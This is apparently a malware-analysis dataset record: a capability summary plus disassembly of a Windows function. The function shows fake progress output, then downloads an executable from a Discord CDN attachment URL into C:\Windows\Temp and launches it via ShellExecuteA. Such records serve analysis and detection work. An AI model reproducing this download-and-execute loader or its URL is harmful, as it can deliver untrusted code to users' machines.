Function at 0x140001280
Capabilities:
Check if file exists
Create directory
Create process on windows
Download url
Get file attributes
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r13
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x17], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
mov ecx, 0x20
call fcn.140001ed0
mov qword [rbp - 0x29], rax
movdqa xmm0, xmmword [0x140003780]
movdqu xmmword [rbp - 0x19], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_solara.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400034d8]
movsd qword [rax + 0x10], xmm0
movzx ecx, byte [0x1400034e0]
mov byte [rax + 0x18], cl
mov byte [rax + 0x19], 0
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 7], xmm1
mov ecx, 0xc0
call fcn.140001ed0
mov r8, rax
mov qword [rbp - 9], rax
movdqa xmm0, xmmword [0x140003790]
movdqu xmmword [rbp + 7], xmm0
lea rax, str.https:__cdn.discordapp.com_attachments_1271492389315547288_1271492472517693440_solarav3.exe_ex66b78924is66b637a4hm05dd14040c80a7a2decc4ffad06308a67ee6f9becc87995e1677dce5d90b1bbf
movups xmm0, xmmword [rax]
movups xmmword [r8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r8 + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r8 + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [r8 + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [r8 + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [r8 + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [r8 + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [r8 + 0x70], xmm0
movups xmm1, xmmword [rax + 0x80]
movups xmmword [r8 + 0x80], xmm1
movups xmm0, xmmword [rax + 0x90]
movups xmmword [r8 + 0x90], xmm0
movups xmm1, xmmword [rax + 0xa0]
movups xmmword [r8 + 0xa0], xmm1
mov rax, qword [rax + 0xb0]
mov qword [r8 + 0xb0], rax
mov byte [r8 + 0xb8], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x39], xmm1
mov ecx, 0x20
call fcn.140001ed0
mov qword [rbp - 0x49], rax
movdqa xmm0, xmmword [0x140003780]
movdqu xmmword [rbp - 0x39], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_solara.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400034d8]
movsd qword [rax + 0x10], xmm0
movzx ecx, byte [0x1400034e0]
mov byte [rax + 0x18], cl
mov byte [rax + 0x19], 0
xor r14d, r14d
xor esi, esi
movabs r13, 0x7fffffffe2329aff
movabs r12, 0x7fffffffffffffff
movss xmm6, dword [0x140003768]
movsd xmm7, qword [0x140003760]
nop dword [rax]
mov eax, 0x51eb851f
imul esi
mov edi, edx
sar edi, 5
mov eax, edi
shr eax, 0x1f
add edi, eax
lea rdx, str.__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
xor ebx, ebx
cmp ebx, edi
jge 0x140001475
lea rdx, [0x1400034b4]
jmp 0x140001485
lea rdx, [0x1400034b8]
je 0x140001485
lea rdx, [0x1400034bc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
inc ebx
cmp ebx, 0x32
jl 0x140001468
movd xmm0, r14d
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvtps2pd xmm1, xmm0
mulsd xmm1, xmm7
cvttsd2si ebx, xmm1
lea rdx, [0x1400034c4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400034c0]
call fcn.140001a20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea rcx, [rbp - 0x59]
call fcn.1400011a0
mov rax, qword [rbp - 0x59]
cmp rax, r13
jge 0x140001507
add rax, 0x1dcd6500
mov qword [rbp - 0x51], rax
jmp 0x14000150b
mov qword [rbp - 0x51], r12
lea rcx, [rbp - 0x51]
call fcn.140001d50
add r14d, 0xa
add esi, 0x1f4
cmp esi, 0x1388
jle 0x140001440
lea rdx, [0x140001d10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
lea rcx, str.C:WindowsTemp
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140001599
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001599
lea rdx, str.______Failed_to_create_directory._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a20
mov dword [rbp - 0x51], 2
lea rdx, [rbp - 0x51]
lea rcx, [rbp - 0x59]
call fcn.140001c00
mov rcx, rax
call fcn.140001c10
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str._____Directory_exists_or_created_successfully._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov qword [rbp - 0x59], 2
lea rcx, [rbp - 0x59]
call fcn.140001c10
lea rdx, str._____Checking_if_Solara_is_installed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov qword [rbp - 0x59], 5
lea rcx, [rbp - 0x59]
call fcn.140001c10
lea rcx, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova rcx, qword [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001613
test al, 0x10
jne 0x140001613
lea rdx, str._____Solara_is_already_installed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
jmp 0x140001684
lea rdx, str.______Solara_not_found._Downloading..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
lea r8, [rbp - 0x49]
cmp qword [rbp - 0x31], 0xf
cmova r8, qword [rbp - 0x49]
lea rdx, [rbp - 9]
cmp qword [rbp + 0xf], 0xf
cmova rdx, qword [rbp - 9]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
test eax, eax
js 0x1400018e1
lea rdx, str._____Downloading_Solara.._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov qword [rbp - 0x59], 2
lea rcx, [rbp - 0x59]
call fcn.140001c10
lea rdx, str._____Checking_if_Solara_was_downloaded_successfully_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov qword [rbp - 0x59], 2
lea rcx, [rbp - 0x59]
call fcn.140001c10
lea rcx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0xf
cmova rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400018a6
test al, 0x10
jne 0x1400018a6
lea rdx, str._____Solara_downloaded_successfully._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
lea rdx, str._____Checking_if_latest_update_is_available_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov qword [rbp - 0x59], 3
lea rcx, [rbp - 0x59]
call fcn.140001c10
lea r8, [rbp - 0x29]
cmp qword [rbp - 0x11], 0xf
cmova r8, qword [rbp - 0x29]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x14000176c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.______Failed_to_launch_Solara._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a20
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000342c]
jmp 0x14000177a
lea rdx, str._____Launching_Solara_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a20
mov qword [rbp - 0x59], 2
lea rcx, [rbp - 0x59]
call fcn.140001c10
nop
mov rdx, qword [rbp - 0x31]
cmp rdx, 0xf
jbe 0x1400017cf
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f0c
movdqa xmm0, xmmword [0x140003770]
movdqu xmmword [rbp - 0x39], xmm0
mov byte [rbp - 0x49], 0
mov rdx, qword [rbp + 0xf]
cmp rdx, 0xf
jbe 0x140001826
inc rdx
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001819
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001819
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f0c
movdqa xmm0, xmmword [0x140003770]
movdqu xmmword [rbp + 7], xmm0
mov byte [rbp - 9], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x14000186d
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001868
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001868
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f0c
xor eax, eax
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.140001eb0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r14
pop r13
pop rbp
ret
lea rdx, str.______Solara_was_not_downloaded_successfully._Exiting._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a20
mov dword [rbp - 0x51], 2
lea rdx, [rbp - 0x51]
lea rcx, [rbp - 0x59]
call fcn.140001c00
mov rcx, rax
call fcn.140001c10
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.______Failed_to_download_the_file._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a20
mov rcx, rax
lea rdx, [0x140001180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000342c]
call fcn.140001a20
mov dword [rbp - 0x51], 2
lea rdx, [rbp - 0x51]
lea rcx, [rbp - 0x59]
call fcn.140001c00
mov rcx, rax
call fcn.140001c10
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3